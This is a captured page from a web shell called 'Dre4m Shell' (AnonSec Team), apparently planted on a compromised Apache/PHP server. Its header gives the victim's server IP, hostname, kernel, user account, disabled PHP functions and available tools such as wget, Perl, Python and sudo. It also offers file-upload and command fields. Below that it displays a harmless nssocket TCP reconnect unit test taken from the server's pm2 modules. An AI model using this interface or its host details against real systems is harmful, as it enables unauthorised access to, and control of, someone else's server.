Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.218.103.193
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/3/cwd/lib/node_modules/pm2/node_modules/nssocket/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/3/cwd/lib/node_modules/pm2/node_modules/nssocket/test/tcp-reconnect-test.js
/*
 * nssocket-test.js : namespace socket unit test for TCP
 *
 * (C) 2011, Charlie Robbins, Paolo Fragomeni, & the Contributors.
 *
 */

var assert = require('assert'),
    fs = require('fs'),
    net = require('net'),
    path = require('path'),
    vows = require('vows'),
    NsSocket = require('../lib/nssocket').NsSocket;

var TCP_PORT = 30105;

var tcpServer = net.createServer(),
    tcpOpt;

tcpOpt = {
  type : 'tcp4',
  delimiter: '.}',
  reconnect: true,
  retryInterval: 1000
};

tcpServer.listen(TCP_PORT);

vows.describe('nssocket/tcp/reconnect').addBatch({
  "When using NsSocket with TCP": {
    topic: new NsSocket(tcpOpt),
    "the connect() method": {
      topic: function (outbound) {
        var that = this;
        tcpServer.on('connection', this.callback.bind(null, null, outbound));
        outbound.connect(TCP_PORT);
      },
      "should actually connect": function (_, outbound, inbound) {
        assert.instanceOf(outbound, NsSocket);
        assert.instanceOf(inbound, net.Socket);
      },
      "when the server closes": {
        topic: function (outbound, inbound) {
          outbound.once('close', this.callback.bind(this, null, outbound));
          tcpServer.close();
          inbound.destroy();
        },
        "and then restarts": {
          topic: function (outbound) {
            tcpServer = net.createServer();
            tcpServer.listen(TCP_PORT);
            tcpServer.on('connection', this.callback.bind(null, null, outbound));
          },
          "the socket should reconnect correctly": function (_, outbound, inbound) {
            assert.instanceOf(outbound, NsSocket);
            assert.instanceOf(inbound, net.Socket);
          },
          "the on() method": {
            topic: function (outbound, inbound) {
              outbound.on('data.}here.}is', this.callback.bind(outbound, null));
              inbound.write(JSON.stringify(['here', 'is', 'something.']) + '\n');
            },
            "should handle namespaced events": function (_, data) {
              assert.isArray(this.event);
              assert.lengthOf(this.event, 3);
              assert.isString(this.event[0]);
              assert.isString(this.event[1]);
              assert.isString(this.event[2]);
              assert.isString(data);
              assert.equal(this.event[0], 'data');
              assert.equal(this.event[1], 'here');
              assert.equal(this.event[2], 'is');
              assert.equal(data, 'something.');
            }
          }
        }
      }
    }
  }
}).export(module);

Anon7 - 2022
AnonSec Team